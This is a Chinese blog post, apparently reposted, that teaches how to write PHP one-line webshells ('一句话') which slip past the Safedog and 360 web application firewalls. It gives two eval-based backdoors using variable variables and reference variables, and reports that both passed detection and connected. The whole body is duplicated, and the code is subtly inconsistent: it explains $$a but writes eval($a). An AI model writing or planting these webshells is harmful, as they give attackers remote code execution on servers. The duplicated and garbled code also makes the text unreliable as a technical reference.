绕过安全狗与360PHP一句话的编写
2016-08-03 15:24
232 查看
00x01安全狗的确是让人很头痛,尤其是在上传一句话或者写入一句话的时候,会被安全狗拦截从而拿不下shell。
当然,安全狗是最简单的一款waf,很容易就进行一个绕过。
00x02
对于绕过安全狗跟360,我姿势不多,但是却很实用为以下两种
1.#可变变量
2.#引用变量
00x03
##可变变量(菜刀可能报错)
<@eval($_POST['x'])
复制代码
经常使用的人都知道,只是最简单的一句话,不过任何waf与规则
我们先来加入需要的函数
<?php
$a='b';
$b=$_POST['x'];
@eval($a);
复制代码
我们先来测试下是否被杀
可以看见,是成功过了安全狗,我们来测试下连接
并且成功可以连接
代码分析#
<?php
$a='b';
$b=$_POST['x'];
@eval($a);
?>
复制代码
我们来看第二行代码
$a='b';
复制代码
知道可变变量的人应该都能看懂吧,第三行$$a中的$a是b,也可以这么说$a替换成b。
继续看第三行
$b=$_POST['x'];
复制代码
根据第一行知道$$a就是$b,$b用来接收post 提交的数据
最后第四行
@eval($a);
复制代码
执行$$a相当于执行了$a也就是$b. 最后,我们整合成一句话
<?php $a='b'; $b=$_POST['x']; @eval($a);?>
复制代码
总结
1# 可变变量比较灵活对于过狗也比较简单
2# 不过D盾只适合安全狗与360针对性比较高
00x04
##引用变量
<@eval($_POST['x'])
复制代码
还是原始一句话,我先写出写好的代码
<?php
$a=$_POST['x'];
$b=&$a;
@eval($b);
?>
复制代码
我们继续测试下是否被杀,
可以看见,一样过了安全狗,我们继续测试下是否可以连接
可以看见,已经连接上了,并且可以进行操作。
##代码分析
<?php
$a=$_POST['x'];
$b=&$a;
@eval($b);
?>
复制代码
我们来看第二行代码
$a=$_POST['x'];
复制代码
$a用来接收post提交的数据
继续看第三行代码
$b=&$a;
复制代码
$b引用了$a的内存地址间接的相当于$b接收了post提交的数据
最后第四行代码:
@eval($b);
复制代码
执行$b。最后我们来整合成一句话
<?php $a=$_POST['x']; $b=&$a; @eval($b);?>
复制代码
总结(与可变变量一样)
1# 可变变量比较灵活对于过狗也比较简单
2# 不过D盾只适合安全狗与360针对性比较高
相关链接:http://bbs.ichunqiu.com/thread-9012-1-1.html?from=csdnJG
当然,安全狗是最简单的一款waf,很容易就进行一个绕过。
00x02
对于绕过安全狗跟360,我姿势不多,但是却很实用为以下两种
1.#可变变量
2.#引用变量
00x03
##可变变量(菜刀可能报错)
<@eval($_POST['x'])
复制代码
经常使用的人都知道,只是最简单的一句话,不过任何waf与规则
我们先来加入需要的函数
<?php
$a='b';
$b=$_POST['x'];
@eval($a);
复制代码
我们先来测试下是否被杀
可以看见,是成功过了安全狗,我们来测试下连接
并且成功可以连接
代码分析#
<?php
$a='b';
$b=$_POST['x'];
@eval($a);
?>
复制代码
我们来看第二行代码
$a='b';
复制代码
知道可变变量的人应该都能看懂吧,第三行$$a中的$a是b,也可以这么说$a替换成b。
继续看第三行
$b=$_POST['x'];
复制代码
根据第一行知道$$a就是$b,$b用来接收post 提交的数据
最后第四行
@eval($a);
复制代码
执行$$a相当于执行了$a也就是$b. 最后,我们整合成一句话
<?php $a='b'; $b=$_POST['x']; @eval($a);?>
复制代码
总结
1# 可变变量比较灵活对于过狗也比较简单
2# 不过D盾只适合安全狗与360针对性比较高
00x04
##引用变量
<@eval($_POST['x'])
复制代码
还是原始一句话,我先写出写好的代码
<?php
$a=$_POST['x'];
$b=&$a;
@eval($b);
?>
复制代码
我们继续测试下是否被杀,
可以看见,一样过了安全狗,我们继续测试下是否可以连接
可以看见,已经连接上了,并且可以进行操作。
##代码分析
<?php
$a=$_POST['x'];
$b=&$a;
@eval($b);
?>
复制代码
我们来看第二行代码
$a=$_POST['x'];
复制代码
$a用来接收post提交的数据
继续看第三行代码
$b=&$a;
复制代码
$b引用了$a的内存地址间接的相当于$b接收了post提交的数据
最后第四行代码:
@eval($b);
复制代码
执行$b。最后我们来整合成一句话
<?php $a=$_POST['x']; $b=&$a; @eval($b);?>
复制代码
总结(与可变变量一样)
1# 可变变量比较灵活对于过狗也比较简单
2# 不过D盾只适合安全狗与360针对性比较高
相关链接:http://bbs.ichunqiu.com/thread-9012-1-1.html?from=csdnJG
相关文章推荐
- 绕过安全狗与360PHP一句话的编写
- [WEB]绕过安全狗与360PHP一句话的编写
- PHP COM组件调用绕过安全模式执行任意文件漏洞
- 编写安全 PHP 应用程序的七个习惯
- 编写安全 PHP 应用程序的七个习惯
- 编写安全 PHP应用程序的七个习惯深入分析
- 编写安全 PHP应用程序的七个习惯深入分析
- 编写PHP的安全策略
- php程序员编写的代码安全
- [转:IBM]编写安全PHP应用程序的七个习惯
- PHP安全: 一个新型的php一句话cmdshell
- PHP SSL Module "subjectAltNames"空字节处理安全绕过漏洞
- 编写安全 PHP 应用程序的七个习惯
- 编写安全PHP应用程序的七个习惯
- 编写安全 PHP 应用程序的七个习惯(转自 IBM Thoughtworks http://www.ibm.com/developerworks/cn/opensource/os-php-secure-apps/?S_TACT=105AGX52&S_CMP
- 安全的PHP代码编写准则
- 编写安全 PHP 应用程序的七个习惯
- 编写安全 PHP 应用程序的七个习惯
- 编写安全 PHP 应用程序的七个习惯
- 关于PHP安全配置绕过问题的一些说明